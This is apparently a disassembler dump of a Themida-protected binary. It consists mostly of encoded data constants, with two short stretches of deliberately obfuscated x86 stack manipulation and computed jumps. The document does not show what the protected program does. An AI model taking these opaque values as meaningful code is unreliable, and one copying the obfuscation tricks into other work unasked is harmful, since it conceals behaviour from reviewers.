		dd 0A651A211h, 11B19093h, 0DC89D2C2h, 9A6B60C6h, 1AB51BEh
		dd 48990000h, 0E08B621Ah, 1DD8469Ah, 12C4004Dh,	0D1026F3Eh
		dd 0EE3D5617h, 445FF27Dh, 6F611B8h, 0D0EFA9B9h,	0E98E7922h
		dd 0DE11B843h, 77DBA63Fh, 0A24FA00Fh, 20CEF5AFh, 4532887Fh
		dd 26B517C8h, 0A842B6D9h, 0A3EF9F0Bh, 5470FDEEh, 42FC4DA2h
		dd 5CB7AC19h, 832F4E00h, 42B0BF2Ch, 0F9A50BA8h,	84D726ADh
		dd 0AA1B5DBBh, 3F137383h, 0A552A112h, 0BA7DB92h, 6A1C32C3h
		dd 0C2EBB763h, 847B032Fh, 0B7F1E1F7h, 88F38611h, 597C6E9h
		dd 0ADD4806Ch, 97C6CB62h, 926D0405h, 80E6A251h,	60832C98h
		dd 125D0EC5h, 597897Fh,	5D8526D6h, 0CAB46FF7h, 53E6h, 0EFE69300h
		dd 1247963Dh, 0D98D3958h, 1A48D298h, 0E2E08B62h, 951DD845h
		dd 0F69DEAE9h, 0E811B844h, 4A9938F2h, 0B8449ABDh, 0F6CBBB11h
		dd 0D48F2EE0h, 864BD632h, 4C430EB4h, 0B2218591h, 9DAD3CF7h
		dd 6D2EDCE3h, 9354EF75h, 98DEBEh, 0EE7B0000h, 258526D8h
		dd 464D075Ch, 0AA29E3F7h, 2F4E085Bh, 864091E0h,	0B3125B07h
		dd 4AB9E6A0h, 53490A4Dh, 5A039FEBh, 0C849936Dh,	3CF6E517h
		dd 0A8DC8267h, 0F509AE59h, 5C481DDAh, 67C21865h, 0B6EBB771h
		dd 63591347h, 0DC068087h, 0A130C8CBh, 0C4000003h, 398CD98Bh
		dd 0C5386D27h, 44B1DE90h, 0BC095608h, 0C5B7ECA6h, 6E283AFDh
		dd 0C37DD421h, 75271F8Eh, 0C47ECD20h, 31BE0D8Fh, 1DDE5D1Eh
		dd 5AF19937h, 0D6FDB7ABh, 6041DF19h, 4115D1F1h,	0FBB5A520h
		dd 4A0457A6h, 75C4D15h,	0E4F7464Dh, 0F786752Ah,	7CD82DDFh
		dd 5617C3CAh, 823D5A14h, 20A2DB71h, 68BDDC27h, 0EC9817C8h
		dd 7D10F7B8h, 6317C8E9h, 17C7E8D0h, 0C13054FAh,	47681A34h
		dd 0FA092FBCh, 6E1E1DDDh, 2D03004Fh, 0CB14AA3Fh, 54FAF7B8h
		dd 0D436C130h, 0E317C184h, 0E5CFB533h, 78FBE21Ah, 2FBE0h
		dd 77291E00h, 0CB85DB2Ah, 7C2E2796h, 0CC7ED627h, 7A342697h
		dd 0AC6F5725h, 56A7FCB6h, 0A91C4903h, 5F4E03B5h, 0FFDDB26Ch
		dd 5E70FF6Ch, 8BE51DDEh, 0EB3D5A9Fh, 7E583401h,	0C91AEBB4h
		dd 3221700Fh, 98C62B78h, 58620DE4h, 0F1DD8FCh, 94DF905Fh
		dd 11B8D105h, 0D8FBA450h, 0B8D0E88Bh, 0BD78E711h, 93277FE5h
		dd 2A6EBEh, 48B20000h, 0E08B621Ah, 1DD845E2h, 928D324h
		dd 4C11B845h, 8975FFA0h, 4496BD0Ah, 8A3911B8h, 0B78D13EFh
		dd 0D87CBE93h, 0C4000000h, 0B0AC075Ch, 0CFF30EEFh, 376BE0FBh
		dd 56AFDB98h, 33CBC3B8h, 3D8C335Fh, 0DD2C530Dh,	408D34EEh
		dd 1162510Bh, 0C89BD366h, 0C9928217h, 0A0D52B9Ch, 0B0A317C8h
		dd 75CA9F6h, 7FE3464Dh,	14BB7566h, 38C33A66h, 1DD8AA42h
		dd 9C31865h, 0DB88DC8Ah, 70CB2BE8h, 0E4374854h,	740836BBh
		dd 0A8D7F27Dh, 6EFD17CBh, 0A6386E01h, 7637E70Bh, 529F0EFEh
		dd 0AA194600h, 0FAC1EDEDh, 1F4054ECh, 0FCFAB4A6h, 0E215FC10h
		dd 0DDA73D3Ch, 1, 6D4015C7h, 1F4A15Bh, 78451ACCh, 8F5AA5Ch
		dd 0F94B18D2h, 9A548609h, 27E1F8C5h, 0A1538B7Ah, 18D201F4h
		dd 6D1A694Bh, 1DDE5ECAh, 5C3DED8Bh, 0A6174C06h,	0B0035AB5h
		dd 10AFE395h, 8AD690C1h, 44A9C833h, 0C0AC17C8h,	5A93BF94h
		dd 80FFB1ABh, 3A2889D2h, 2006B42h, 41DD846h, 45690873h
		dd 0EC11B8h, 0AA29D55Fh, 0B845365Dh, 8F2A9911h,	93B82DB3h
		dd 0E11CBEh, 30BD0000h,	0AF5B6214h, 18590B42h, 4D075C52h
		dd 29E3F746h, 3AE5BDDAh, 0A4DF99B0h, 5A03356Bh,	0F314EE39h
		dd 6F6417C8h, 0BE0DE0B5h, 361C7D04h, 0F3105F4Eh, 0EEE4FC29h
		dd 0A6E18D34h, 0EEAF2817h, 0D90B9F19h, 637B081Dh, 4E02B410h
		dd 0E585145Fh, 24D011B8h, 21D02370h, 0BB367731h, 43FD4E97h
		dd 0EBC28E3Ch, 0CB9A0A80h, 22917D17h, 301326D1h, 0B1420BA6h
		dd 0F0B1E59Fh, 19746613h, 0D420EC8h, 0FAF0AAA0h, 0E215DA0Ch
		dd 0D5BB5150h, 0F8000000h, 85782DDFh, 0F9CC9953h, 905D32E4h
		dd 0E0CD8234h, 116330EAh, 0B26C5E21h, 0FFB910DDh, 0B96B6352h
		dd 10CA19ECh, 65126143h, 1DDE5FD2h, 5A35E583h, 453B5EA9h
		dd 0B1AB17C8h, 6E6621FFh, 0D098E73Ch, 0BE47683Ch, 307DD28Ch
		dd 9F65521Bh, 522DE27Ah, 5C0951FEh, 5FB2AC07h, 0DEE5B16Bh
		dd 105D6430h, 4D5401BBh, 8AE5FCE1h, 731F9E58h, 0EF7C731Fh
		dd 1DDE5645h, 56A32ADAh, 0A7164B05h, 8DAC57B4h,	0C811B233h
		dd 0BA0988DCh, 18878FDDh, 2453ED1h, 1E46D3F1h, 0C2456673h
		dd 1B2A4688h, 0E8DE8BE0h, 0B36E7536h, 4A17D102h, 0FAE687Bh
		dd 0B9D88AC2h, 29DC950Eh, 0FF92DD3Ah, 560839A0h, 803FAA6h
		dd 92D2458h, 0A9FCA5A4h, 464D075Ch, 3AEh, 0BFEBF200h, 3251035Ch
		dd 9736F0E3h, 5B62144Ah, 8201BB0Eh, 5E651F33h, 8201BB0Fh
		dd 68671933h, 6B12C419h, 51702A1Eh, 0E1895194h,	4C181h
		dd 0E9830000h, 240C8704h, 2404895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	6C38h
		mov	[esp], edx
		push	35ECh
		mov	[esp], esi
		mov	esi, 6161162h
		mov	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		sub	dword ptr [esp], 2E8967E5h
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 2E8967E5h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------
		inc	eax
		fcom	qword ptr [ecx-7FDA8F1Ah]


loc_5AD157:				; CODE XREF: Themida_:loc_5AC56Ej
		mov	eax, 6161C5Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 23299410h, 5891523Bh, 1BE2F7FDh, 7B032D3Dh, 4314494h
		dd 406ACDB8h, 484BCEAFh, 58A46F89h, 6E891024h, 21C46643h
		dd 0EE2604h, 56C61BDEh,	56CE9B88h, 5879C514h, 0AE8h, 0D23B0F00h
		dd 417A36Ah, 0E9F3B9B2h, 0Dh, 4F764AD0h, 925D145Ah, 0BD3C6A25h
		dd 0CF815A2Fh, 55D6B721h, 70E2C281h, 8B660000h,	68DAh
		dd 81660000h, 595276EBh, 8E8h, 520F8600h, 978CD528h, 5BDDB314h
		dd 660A048Bh, 0E880D381h, 0ABA8F081h, 8D0F384Bh, 6, 0B123B660h
		dd 0C0816171h, 3F80C2F3h, 9EACF081h, 50FC4523h,	0AE9FD681h
		dd 48F0D01h, 0C8B0F0Ah,	0E9000000h, 7, 0B0DCD18Bh, 0FC374A2h
		dd 382h, 51C38000h, 6604E983h, 814DA8BEh, 0FF8FF4F9h, 0C850FFFh
		dd 0E9000000h, 2Fh, 281C1BDCh, 0E90D440Fh, 13h,	45C7AE78h
		dd 6A184759h, 20D698B1h, 2AD55634h, 0E9A0ED95h,	0FFFFFF78h
		dd 0DF3B7A58h, 92AEDDA1h, 0E97599D8h, 0B9h, 3E99A39Ch
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 162AE900h, 0B4680000h, 0E9061620h, 0FFFA6194h, 1621C868h
		dd 618AE906h, 0BD68FFFAh, 0E9061622h, 0FFFA6180h, 16247368h
		dd 6176E906h, 0F268FFFAh, 0E9061624h, 0FFFA616Ch, 1625D568h
		dd 6162E906h, 8C68FFFAh, 0E9061626h, 0FFFA6158h, 16278D68h
		dd 614EE906h, 2468FFFAh, 0E9061628h, 0FFFA6144h, 16296168h
		dd 613AE906h, 5C68FFFAh, 0E906162Ah, 0FFFA6130h, 162BE768h
		dd 6126E906h, 0A868FFFAh, 0E906162Ch, 0FFFA611Ch, 162E4968h
		dd 6112E906h, 8468FFFAh, 0E906162Fh, 0FFFA6108h, 16313568h
		dd 60FEE906h, 3268FFFAh, 0E9061632h, 0FFFA60F4h, 62D619B9h
		dd 42F62DD3h, 59D50EB3h, 3CF02DE2h, 10CC0BBDh, 0C87CEE1Ah
		dd 0A346D589h, 0BB6FE662h, 964DCC80h, 0FE02ED61h, 0DA63B70Bh
		dd 0CA524F6Bh, 2A447932h, 39B9F9AFh, 0AFC01AC0h, 0EFAFCCA8h
		dd 0A85F2FD8h, 0D60BB473h, 0D2E13EFAh, 1734F709h, 0EF67FCE2h
		dd 6ED87F73h, 8D943CA2h, 579A5FF6h, 37397A4Ch, 42h, 1EBD5C95h
		dd 2A7324Ch, 8459DDC9h,	0FC7CAA87h, 0DEF06C67h,	972BDE00h
		dd 6F942383h, 83BE04F3h, 0DA569423h, 0EC5A01FDh, 0F942383h
		dd 5C4C3C31h, 0E87A7807h, 54913013h, 397B4379h,	0E659h
		dd 4D7B300h, 0F36F235Eh, 71A65DD6h, 23620685h, 28E3FD6Fh
		dd 6DCC7C9Ah, 12C99E7Ah, 59702459h, 0AC17DB2h, 6DCC0182h
		dd 0BD8FC47Bh, 390E47FEh, 0F4DF685h, 3005014Eh,	64103440h
		dd 8D35F40Ah, 6992332Eh, 868DF00Dh, 2DD914BAh, 0A1DC9249h
		dd 7B5571F5h, 3589390h,	0E49C3398h, 597DF9ADh, 0E1D2FBE5h
		dd 0F2CB72CDh, 8E25B895h, 0CEC2FBB2h, 0DD5C6E52h, 4DCF126h
		dd 1591AC05h, 0DCEE6A9Eh, 0F06CAB5Dh, 0E388C769h, 4034F85Ah
		dd 91697A2Ah, 7E000013h, 46D589CCh, 64F3679Eh, 51C884BDh
		dd 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh, 79BA6BEAh,	559036C5h
		dd 74A962D9h, 40EBD5B8h, 6BDA5C82h, 0D7BF8562h,	3B1B2496h
		dd 2F41371Bh, 0CCC3C67Ch, 25421E6Dh, 0FFBBFAAEh, 1E9ACF78h
		dd 0DB67223Ch, 3B6DCCC3h, 5C420ADFh, 5D4C1EBDh,	67FC7C74h
		dd 847E970h, 5433181Ch,	52B20364h, 51CDCDAAh, 0C1A2CBA5h
		dd 0B7889217h, 0AF63A445h, 75188FB3h, 7E44034h,	3C74A21Ch
		dd 93324194h, 7B2D7B56h, 0E25B39h, 32B10000h, 542A4479h
		dd 0CC7CED55h, 502D096Dh, 702DC4Eh, 6DCC7CBBh, 0BFB3EE94h
		dd 9AAFAB63h, 71276F21h, 2981E6D3h, 4413FFE3h, 6DCC60C4h
		dd 0E5598E35h, 8C78AD56h, 0BA32A037h, 5FA49944h, 0DFCAA4C0h
		dd 67FCBBC2h, 6FD488E4h, 348E7D68h, 0D0943CDFh,	6D5E7054h
		dd 0A85F7266h, 0B6A37F73h, 0C077F5E5h, 0C8B0CD0Ch, 0AD161E1h
		dd 0D7A9859Eh, 0AD216004h, 8E3B7A2Eh, 40353E87h, 7D2ABB6Bh
		dd 6A000012h, 52C985C8h, 70E7639Ah, 4DCC80B9h, 5AE15D9Ah
		dd 0C5C377B6h, 5A994BB9h, 75B657DEh, 518C42B9h,	70A55EDDh
		dd 3CEFD1BCh, 6BDA5D86h, 0D7BB815Eh, 7C4002A9h,	87826DCCh
		dd 6DCC7C3Bh, 938F7FDBh, 714BFDB6h, 0EB5F83BCh,	863CEF11h
		dd 5E6DCC7Ch, 0B56EE502h, 0F9F2CC80h, 0BDE1787Eh, 0FAD2A7D0h
		dd 265B04D7h, 5AE1F67Ah, 11887CB1h, 32A9255Ah, 374E427Bh
		dd 0FDDF5B90h, 0A843893Eh, 0B79BB75Fh, 7DF9ADC9h, 0E7F0B660h
		dd 6AF10BD0h, 0AB5383C1h, 0D8098C00h, 0DC9108FCh, 0D6AABFA3h
		dd 0FC114ED3h, 490C6867h, 0B22025A2h, 4695248Ch, 0D98C7534h
		dd 536A6599h, 47B6CAEh,	0CC750D8h, 1C383CE8h, 99D27742h
		dd 1CD289EDh, 201A0CE1h, 671DF799h, 4601430h, 5C7F96E7h
		dd 0A1A18782h, 5619BAEh, 82B770EBh, 63984FC6h, 0A90F61F6h
		dd 6C7D2945h, 1188h, 1692D575h,	0F6B2E99Fh, 1D91CA7Fh
		dd 30ACE99Eh, 14C807A9h, 0D478EA16h, 0EFA21995h, 0C77BFAAEh
		dd 0A249D08Ch, 2FEF16Dh, 0DA5EBB07h, 0B67E5B6Bh, 50447932h
		dd 75875463h, 0CB6758Bh, 0E86DCC7Ch, 0DFB46F8Ch, 0B767FC1Eh
		dd 13A2FFBBh, 16F3B6C8h, 0CE9E13DCh, 3D1A590Bh,	4C0FE13Dh
		dd 0C8AC5899h, 70245B11h, 8027D7F4h, 9E13A4C6h,	8D79B257h
		dd 7420550Eh, 0DFED8417h, 3E67D36h, 3F8B5DAAh, 9E8Ah, 0A9D70000h
		dd 0CC7C4002h, 11C8A46Dh, 0BA4B205Fh, 2BAEC01Bh, 52493D76h
		dd 0AFB35F9Eh, 0BCA2B693h, 6DC5E68Fh, 304DD01Bh, 0FC824E73h
		dd 10B38667h, 673A1FD3h, 9B4FF81Eh, 0E14E90Dh, 0EA96D577h
		dd 2EEB257Dh, 0B195E8D3h, 4A00BB95h, 0FAC19B0Fh, 8DC87E54h
		dd 2B99D99h, 513A0F4Eh,	94231EF3h, 8CC16AF1h, 0FD3BE46Fh
		dd 3250F907h, 0D3772E62h, 6C88EC98h, 0EFC569F0h, 3DECFE3Dh
		dd 94239E85h, 35E10561h, 6C01123Bh, 4FBC7252h, 6784609Bh
		dd 106FFAh, 3DC50600h, 7D201646h, 5CA12B40h, 5D4C1EBDh
		dd 67F61A21h, 2769209Bh, 4801F05Ah, 44301482h, 1B170BE0h
		dd 9CD17A41h, 0C7F29920h, 66154CF4h, 9425B7DCh,	46183C38h
		dd 0DE92D173h, 0E320C382h, 0CAB1806h, 0A50EFDCFh, 619E1FD1h
		dd 0B770EB05h, 65F4C682h, 53087DC1h, 0EE567653h, 853EF5D2h
		dd 0A313AF5Ah, 0DAD19E1Fh, 9E1FA368h, 8EE0908Ch, 1FA3279Bh
		dd 7F63BF9Eh, 0FEBDAF63h, 3AF10B4Ah, 9E1FA388h,	8ADBF06Ch
		dd 0AB5E706Bh, 942FDA9Ah, 0C4630864h, 0C85E2B40h, 0FD2CBDCh
		dd 0FBF0000h, 0E38910CCh, 4A930ACh, 0E3880FCBh,	1A332A6h
		dd 0E42006C2h, 1793D276h, 30ACEDA0h, 0ECA05A9h,	2FABE087h
		dd 0F949403Ch, 1D6BDA58h, 4402F4C0h, 7E6DCC7Ch,	0D9CD06BBh
		dd 0EFD30AC2h, 6F6C8BDAh, 1A7DAE5Dh, 2D0967F6h,	0FDF8853h
		dd 8844205Bh, 0E28A5A11h, 9D4CF6B5h, 0CCA89425h, 0EBD8CCA8h
		dd 4E3D0FCCh, 9E15FF25h, 0C45FCBFh, 3B3F1C18h, 2A997ADFh
		dd 0EDB94031h, 0F53FCh,	4B8E4000h
		dd 2960088Fh, 467F26B5h, 23600392h, 3D7C30A7h, 0D7F8B81h
		dd 19A01C5Bh, 0F4833778h, 2097134Eh, 93763267h,	584002A9h
		dd 47A46BDAh, 3B79327Dh, 9102CB55h, 530CCB49h, 374E421Eh
		dd 0CC0DC090h, 0ABCDFCA8h, 25427730h, 60DBFF96h, 0A55A6FAAh
		dd 336A584Ch, 7517A2BCh, 3FE64A36h, 6DCCB683h, 0A81A1163h
		dd 4C6DCCB6h, 71D7F4D0h, 971h, 1EBD5CDBh, 5D78D4Ch, 2A3F2364h
		dd 1A955356h, 0E20B67F6h, 30D6C6F7h, 382501F5h,	36137255h
		dd 4316E844h, 64F3679Ch, 777486BBh, 608A92D5h, 33F30878h
		dd 257FDA64h, 547E9594h, 0BA85FDDAh, 337013DBh,	0E3FFE33Fh
		dd 8E34F709h, 6694251Ah, 4AD70901h, 0E80CB254h,	553EED13h
		dd 319E15FCh, 96BAF39Ah, 312A5A31h, 0D5BED640h,	0E70h
		dd 0EE6AAD5Dh, 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h
		dd 9C5082FEh, 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h
		dd 0DA59833Fh, 0BE86636Bh, 50447932h, 0A95D9239h, 0DC6D5E22h
		dd 89537715h, 0C8673C11h, 6A36E42Dh, 8B3C433h, 2060000h
		dd 6DCC7C44h, 15E7F403h, 0F61A1616h, 98B2AE67h,	97F4AB3h
		dd 88650BFBh, 0E9708E70h, 1C180C43h, 2559D56Dh,	18353194h
		dd 6B14E49Bh, 0BC9E1A36h, 0AE07A98Fh, 0D3A441BBh, 1FA580A1h
		dd 0DECD9FC3h, 9425ED64h, 0CC7A480h, 7D721E53h,	0A08B6576h
		dd 9E158FF3h, 0C45FC93h, 93381C18h, 4031FBF6h, 0B97D663Eh
		dd 0A600000Dh, 8E0DC104h, 0AC2B9FD6h, 7900BCF5h, 962599D6h
		dd 11F7B3F2h, 0A6E587F5h, 0C102A332h, 9DD88E0Dh, 0BCF19A21h
		dd 78330D00h, 6BDA5ACAh, 32E7AD2Ah, 412A4479h, 0EF3A6Ch
		dd 3BF6A37h, 0E36DCC06h, 908E6B87h, 691D52F9h, 9084B972h
		dd 6D1956F9h, 0C8F48B30h, 0C623C201h, 336AAFEBh, 7E8CBh
		dd 4D74100h, 0F26E225Fh, 0CF7188D5h, 65A64719h,	0E591B5B1h
		dd 18F05C81h, 5D58076Bh, 99A46779h, 7167F6BAh, 3605DBF5h
		dd 8584568Fh, 9426FD3Dh, 0B3805DD9h, 0C805D70Ch, 688352D0h
		dd 0A749000Ch, 0A3B8BC68h, 411F411Bh, 2601F84Ah, 59401C94h
		dd 942601E9h, 18240EBh,	6629426h, 0E89B1A16h, 5E7BF7ABh
		dd 0DF92ED5h, 2601E05Eh, 0C6F1DA94h, 2665079Dh,	0FC5D7641h
		dd 26F3B50Dh, 0F1D55194h, 7B6A89DCh, 26F33290h,	7A56D294h
		dd 91C8A960h, 52CE9E16h, 32F922E5h, 0D968E40h, 0CB8h, 6C205A5h
		dd 26A2D98Fh, 0DC1FAAFh, 209CD98Eh, 4B8F799h, 0E488FA06h
		dd 0FFB229A5h, 0D78B0ABEh, 0F299209Ch, 320E01BDh, 0DA5BCB77h
		dd 0E6AE2B6Bh, 50447932h, 0BC29239h, 71B253D2h,	0A91AA155h
		dd 2A1EEF0Ah, 0FEFE336Bh, 4C000006h, 0CC7C4102h, 0EAF1086Dh
		dd 1A011910h, 0C9A567F6h, 5A12C9B7h, 0D6F36F23h, 0BD71A65Dh
		dd 78B158E3h, 5F2FD863h, 15B86FACh, 204420D4h, 63787F74h
		dd 3EE47789h, 36130F03h, 15E30C4Dh, 0F95EBA9Eh,	40314820h
		dd 21138490h, 0E00000Ch, 16A5195Ch, 0F483376Eh,	2198144Dh
		dd 0FE7D316Eh, 594F0B4Ah, 0CE0DBF2Dh, 0E92ADB5Ah, 540E675h
		dd 0E419D249h, 907B8568h, 6BDA5432h, 324FD5D2h,	39504479h
		dd 4A835D92h, 0D7239B34h, 0AE708D32h, 0A2BCAD9h, 0EDB02C61h
		dd 336AF224h, 0E522C594h, 0B0183531h, 159h, 4479321Ah
		dd 0BFFCAF2Ah, 8C7A4FD3h, 0F105B9B2h, 153E5356h, 8FC47B38h
		dd 0AC2FC61Bh, 7B2DACD2h, 8CCB7D3Ch, 0C4BF9C98h, 67FC99E7h
		dd 84F431Fh, 943C0EBEh,	6A8F265Dh, 397AB7A7h, 0D480D617h
		dd 58B608D7h, 2ACD83h, 5C3F0000h, 5D4C1EBDh, 67FC7C74h
		dd 0BBEA9692h, 943C7C03h, 0B732D1E2h, 397B35F6h, 0F42FD366h
		dd 0D871D7h, 0CC8F0000h, 27FDDA17h, 50447932h, 86589739h
		dd 0F5D211B3h, 0A4D99209h, 0FD32D9F0h, 28328A41h, 540B6DCCh
		dd 0BF56AB1Fh, 9D1C421Ch, 42D9A7E7h, 0B252B27Eh, 0F2D2B98Eh
		dd 0F0980515h, 92A71B0Eh, 0D2789420h, 5E8BE797h, 63CCD993h
		dd 1EE4F90Fh, 53562842h, 94205DEFh, 2A4E2B07h, 0ACBEFDAFh
		dd 92F3CDBFh, 0F207BB5Dh, 0FC3BED6Ch, 499944Fh,	9B0C184Ah
		dd 0AE4h, 6ADE21D1h, 4AFE35EBh,	61DD16CBh, 44F835DAh, 58D413B5h
		dd 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h, 966A65D9h
		dd 0DA552F93h, 62EAC76Bh, 225F04D7h, 5ED5F26Eh,	6E9862AAh
		dd 0A68AB6C7h, 0B96DD5D4h, 0AD896DCCh, 422B15C9h, 0D1065F55h
		dd 0FDB6938Ah, 0C39D1146h, 8854EE9Dh, 0B4B06DCCh, 79320D97h
		dd 0DCC807A9h, 11887C58h, 40A9255Ah, 501h, 2D96D78Ch, 7A4626DAh
		dd 0B1EA9F16h, 31AA499Ch, 0D57A411Fh, 17C8C398h, 0AF67FCEFh
		dd 2E98BFB3h, 0CD943C9Dh, 17DA1FB6h, 0F7397A55h, 254h
		dd 7C5F0255h, 0EB0A6DCCh, 352BDEF0h, 0CD67F61Ah, 1E2E3948h
		dd 0A1C5FBA3h, 822AB1CFh, 0FEDB574Bh, 0E6508E35h, 0C29D7918h
		dd 0A82FABC7h, 0E9D6CAFFh, 92D376CAh, 8C5E82DEh, 546E772h
		dd 642CEFD8h, 45224D3Eh, 155C1D5Eh, 20CDA99Eh, 4031CEBBh
		dd 0E9D2C3D3h, 0D6000009h, 0BE3DF134h, 0DC5BCF06h, 0E970EC25h
		dd 0C6550946h, 8167E322h, 0F635D705h, 0D112B342h, 0ED28DE5Dh
		dd 0C41EA71h, 0A8635D50h, 6BDA561Ah, 32179DFAh,	39504479h
		dd 4A835D92h, 0FF185C47h, 0F705D01h, 0A81944E5h, 0CF8C7A4Fh
		dd 530C15ACh, 0AED0AA1Eh, 0CC7F47FBh, 0A6C39F6Dh, 6B3320F1h
		dd 19A0033h, 0D74A0000h, 70245D04h, 932FDAF4h, 736DCC7Ch
		dd 0B259E2F7h, 5912897Dh, 0DD8F4A24h, 0B015C99Eh, 0F198B229h
		dd 67FC11C8h, 3C2EE23Eh, 0BA8FC87Dh, 239675D1h,	44DB9894h
		dd 7B4050A1h, 693039h, 304E0000h, 239EC979h, 1C312D94h
		dd 6004D790h, 3AF17521h, 0C9AD5994h, 19C251B4h,	87D17447h
		dd 0C0CD7D86h, 0D4C0A40Eh, 0A6657B50h, 67FC638Dh, 0B2F9AD89h
		dd 943C6214h, 564A8529h, 0DA518A3Fh, 1F06FA33h,	0AFBC160h
		dd 0C201A336h, 0A67552CEh, 0F6B5CB0Fh, 943C624Ch, 0E8AFCCA8h
		dd 397B1825h, 0CF05h, 8C40FB00h, 3294304Dh, 39504479h
		dd 2DAC5897h, 0E7253876h, 0F27B6A3Ah, 0FCA322CEh, 0F45413C7h
		dd 456DCC2Ch, 0BF5699Eh, 0B5619850h, 372824A8h,	8C689DF8h
		dd 0D4070E6Fh, 0FFAE4FAh, 6DCC85B3h, 9230D753h,	0AB6DCC85h
		dd 4ED2BEF5h, 0D3A5C29Eh, 0FA48E8D8h, 0B5230867h, 0C9C4A2B2h
		dd 7BC7C29Ch, 9B942270h, 0B7C9A3BFh, 21467B24h,	2A594806h
		dd 9A2136C7h, 7403B7F6h, 8D2C91D0h, 0A14A0691h,	85EE4F5h
		dd 9B4B0000h, 0AF55E458h, 9035C478h, 0AF54E357h, 8D3FB672h
		dd 90ECDA4Eh, 0BB6FAE62h, 9448893Ch, 0B2266105h, 93477C23h
		dd 5DE5A498h, 0B96BDA57h, 7E32703Ch, 0F5AE2D3Fh, 0A433ABC0h
		dd 0B7B4C6FBh, 47FA3A65h, 0A4E18658h, 9533ABC0h, 245D04D7h
		dd 95D38C47h, 81AF79A4h, 4BF1D64Dh, 6A0F4673h, 5A256C51h
		dd 820CDA32h, 6C13B25Eh, 7E028337h, 7A000002h, 4C1EBD5Ch
		dd 0F61A2D5Dh, 0C9BDB967h, 259E24A2h, 15ACC794h, 8153FDD0h
		dd 22EDD39h, 22F0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F61A672Bh
		dd 29431F67h, 8C4F9B2h,	0F1A5DA91h, 14E6F504h, 15E05415h
		dd 0D176F29Eh, 40314AF0h, 9DF3E4B0h, 8A000007h,	0B229A5E8h
		dd 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh, 252397D6h,	0BAF9ABD9h
		dd 95D677FEh, 0B1ECA219h, 90C57EFDh, 5C4F311Ch,	6BDA50E6h
		dd 321BA1FEh, 0DE504479h, 6822EFEDh, 0EB00D264h, 45E7B770h
		dd 3A161A06h, 0F74B3E20h, 486DCC69h
		dd 0B6BA66A3h, 918D6AC6h, 0CE08A7BCh, 6D195A0Bh, 77C1E400h
		dd 9EDBB6Fh, 0F0C067F4h, 75AA613Dh, 0A5C1A551h,	0F79B7629h
		dd 817B336Ah, 0D1000001h, 50447932h, 69AA5BDEh,	17A4B9BDh
		dd 9D7F3B70h, 422E671Eh, 5D7C09DEh, 97926C7Eh, 6DCC7C2Bh
		dd 667A4FCBh, 0FC1186A3h, 0F0A48067h, 0CA09BB7Eh, 0E2C951D6h
		dd 2E64368Ah, 0F04E3512h, 139423DBh, 0C805C160h, 8A1F943Ch
		dd 0A55BDA2Ah, 4BA6596Eh, 2B397BB6h, 4Dh, 0A2E38655h, 11B372EEh
		dd 5C2FF5D2h, 5D4C1EBDh, 67FC7C74h, 0F5C49692h,	5CE4104Eh
		dd 0F1877377h, 73B256D5h, 4501A856h, 0DA943C94h, 0B80A0136h
		dd 5C943C94h, 9930E400h, 0D9CBB7F8h, 54458B2Ah,	8C65801Fh
		dd 6C397A4Dh, 0CEh, 447932DEh, 58973950h, 0A6762DACh, 5CCEC203h
		dd 0CC7C15ADh, 5175F16Dh, 610A8175h, 23F9B02Ch,	0FC6DCCF6h
		dd 459A0E43h, 2D532DAEh, 0FAEA5853h, 0E0A9233h,	33FADB67h
		dd 0ADF3B92h, 370D33F6h, 89E59805h, 53CE477h, 20381511h
		dd 0A6B8F799h, 0C6548DA5h, 226D58E6h, 0B821469Ch, 0FC7A449h
		dd 0EA58532Dh, 0A942027h, 4C161305h, 4420503Ch,	0B9F8AC27h
		dd 4348914h, 28B1654Ah,	5FCh, 520649E9h, 72E61DC3h, 49053EE3h
		dd 6CE01DD2h, 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h
		dd 26DD5CD0h, 6E523DF1h, 0DA5207BBh, 3A02DF6Bh,	2D3F7E32h
		dd 90BDF8AEh, 424B4D08h, 793D1A71h, 0F9C2A6A7h,	314D3799h
		dd 0B3E89F1Ch, 793271F7h, 92395044h, 3268E15Dh,	0D4000000h
		dd 5B4E7932h, 6DCC7CE7h, 533F23FFh, 0AA568B34h,	98936D0Fh
		dd 6DCC7C2Ah, 0AA794ECAh, 0FAB1CF0Bh, 6DCC7C48h, 209BB0ACh
		dd 0D763267h, 30h, 0A96D77Fh, 8C3D51E9h, 0E2895227h, 15B2F9ADh
		dd 0FD6DCCBAh, 30AB2FC6h, 0D0544079h, 528740FBh, 0A7675378h
		dd 826EAF62h, 9BFAB99Eh, 3FCD9166h, 2A447932h, 0AE54941h
